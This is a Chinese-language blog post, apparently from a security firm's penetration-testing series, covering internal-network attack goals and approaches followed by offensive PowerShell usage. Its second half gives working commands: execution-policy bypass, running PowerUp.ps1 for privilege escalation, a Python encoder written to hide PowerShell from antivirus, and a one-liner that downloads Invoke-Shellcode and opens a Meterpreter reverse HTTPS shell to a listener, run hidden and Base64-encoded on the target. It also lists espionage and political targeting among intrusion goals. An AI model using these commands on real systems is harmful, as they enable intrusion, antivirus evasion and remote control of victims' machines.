螣龙安科笔记:内网渗透测试(二)

本系列的第二篇文章将会从内网渗透的基本思路讲起,进一步介绍内网渗透。

(二)内网渗透基本思路

1.  内网渗透性质

1.偶然性:概率性,证明和验证技术

2.针对性的渗透:获取内网核心数据和资料,控制某台或多台计算机,获取公司或者个人私密信息(邮件,研究成果,代码,顾客名单,运营情况,敌手打击等)

2.  内网渗透的目的

1.商业目的:获取内网某些资料或者某个人的资料

2.战略目的:政治等需要,例如2016希拉里邮件门事件可通过身边人,枕边人,同事等进行侧面攻击。

3.到此一游:偶然发生,个人爱好

3.  主要攻击手段

3.1正面攻击

被渗透目标在外网有网站,网站服务器跟内网相连,对服务器所有CMS进行渗透,对服务器入口进行渗透,对同网段服务器渗透后嗅探。

CMS(内容管理系统)是一种位于WEB 前端(Web 服务器)和后端办公系统或流程(内容创作、编辑)之间的软件系统。内容的创作人员、编辑人员、发布人员使用内容管理系统来提交、修改、审批、发布内容。这里指的内容可能包括文件、表格、图片、数据库中的数据甚至视频等一切你想要发布到InternetIntranet以及Extranet网站的信息。CMS还可选地提供内容抓取工具,将第三方信息来源,比如将文本文件、HTML网页、Web服务、关系数据库等的内容自动抓取,并经分析处理后放到自身的内容库中。

3.2迂回攻击

正面网站防范很严格,从旁站进行渗透,从CMS开发商开始渗透,从托管服务器商开始渗透,从服务器所在地方,从公司个人计算机(前台MM,销售员,公司小白),公司无线网络。

3.3APT攻击

社会工程攻击,是一种利用"社会工程学" 来实施的网络攻击行为。在计算机科学中,社会工程学指的是通过与他人的合法地交流,来使其心理受到影响,做出某些动作或者是透露一些机密信息的方式。Gartner集团信息安全与风险研究主任Rich Mogull认为:社会工程学是未来10年最大的安全风险,许多破坏力最大的行为是由于社会工程学而不是黑客或破坏行为造成的。

(三)PowerShell基础

1.基本概念

定义windows PowerShell是一种命令行外壳程序和脚本环境,它内置在每个受支持的windows版本中,PowellShell需要.NET环境的支持,其可读性、易用性居所有shell之首。Powershell脚本本质上就是一个文本文件,后缀名为“.ps1”。脚本文件中包含一系列的Powershell命令,每个命令显示为独立的一行。

执行策略:为了防止使用者运行恶意脚本,PowerShell提供了一个运行策略,默认情况下,这个运行策略被设置为不可运行

查询执行策略(Get-ExecutionPolicy:

Restricted:脚本不能运行(默认设置)

RemoteSigned:在本地创建的脚本可以运行,在网上下载的脚本不可运行(有数字证书签名的除外)。

AllSigned:仅当脚本由受信任的发布者签名时才可以运行。

Unrestricted:运行所有脚本。

设置PowerShell执行策略:Set-ExecutionPolicy<policy name>

 

运行脚本:要运行一个PowerShell脚本文件,必须输入完整的路径和文件名。

2.常用命令

2.1绕过本地权限并执行

对于任意一个脚本, Restricted策略下, 执行如下命令, 可以绕过安全策略, 执行脚本。

powershell.exe -ExecutionPolicy Bypass -File .\xxx.ps1

 

 

在内网渗透时,将脚本PowerUp.ps1上传至目标服务器中(这里是 C盘根目录), 在目标本地执行脚本文件, 如下

powershell.exe -exec bypass -Command "& {Import-Module C:\PowerUp.ps1; Invoke-AllChecks}"

nvoke-AllChecks 函数将检查目标主机的攻击向量以进行权限提升。为了更容易阅读, 我们将结果输出到一个名为allchecks.txt的文件里, 所以命令应该是这样子Invoke-AllChecks | Out-File allchecks.txt

 

2.2使用 Base64 对 Powershell 命令进行编码

使用 Base64 Powershell 命令进行编码的目的是混淆和压缩代码, 从而避免脚本因为一些特殊字符被杀毒软件查杀。

这里需要用到一个 python 脚本–ps_encoder.py, 代码如下:

import base64

import sys

import re

import os

import getopt

 

def powershell_encode(data):

    # blank command will store our fixed unicode variable

    blank_command = ""

    powershell_command = ""

    # Remove weird chars that could have been added by ISE

    n = re.compile(u'(\xef|\xbb|\xbf)')

    # loop through each character and insert null byte

    for char in (n.sub("", data)):

        # insert the nullbyte

        blank_command += char + "\x00"

    # assign powershell command as the new one

    powershell_command = blank_command

    # base64 encode the powershell command

    powershell_command = base64.b64encode(powershell_command)

    return powershell_command

 

 

def usage():

    print("Version: {0}".format(__version__))

    print("Usage: {0} <options>\n".format(sys.argv[0]))

    print("Options:")

    print("   -h, --help                  Show this help message and exit")

    print("   -s, --script      <script>  PowerShell Script.")

    sys.exit(0)

 

def main():

    try:

        options, args = getopt.getopt(sys.argv[1:], 'hs:', ['help', 'script'])

    except getopt.GetoptError:

        print "Wrong Option Provided!"

        usage()

    if len(sys.argv) == 1:

        usage()

 

    for opt, arg in options:

        if opt in ('-h', '--help'):

            usage()

        elif opt in ('-s', '--script'):

            script_file = arg

            if not os.path.isfile(script_file):

                print "The specified powershell script does not exists"

                sys.exit(1)

            else:

                ps_script = open(script_file, 'r').read()

                print powershell_encode(ps_script)

 

 

if __name__ == "__main__":

    main()

 

 

要使用该脚本,需要首先将其保存为文本文件

echo "IEX(New-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1");Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.82.131 -Lport 80 -Force" > raw.txt

然后给ps_encoder.py授予权限

chmod +x ps_encoder.py

然后以下命令将 raw.txt 里面的命令转换成 base64 编码

./ps_encoder.py -s raw.txt

输入的内容就是经过 Base64 编码的命令了

接着在目标主机上执行如下命令:

Powershell.exe -Nop -NonI -W hidden -Exec Bypass -enc Base64编码的命令

4. 32位和 64 位的 Powershell

32PowerShell脚本执行:

powershell.exe -NoP -NonI -W Hidden -Exec Bypass

64PowerShell 脚本执行:

%WinDir%\syswow64\windowspowershell\v1.0\powershell.exe -NoP -NonI -W Hidden -Exec Bypass

这篇文章到这里就结束了,下一篇文章我们将会带你深入了解内网渗透的详细过程。

 

posted @ 2020-05-28 14:43  螣龙安科  阅读(252)  评论(0编辑  收藏  举报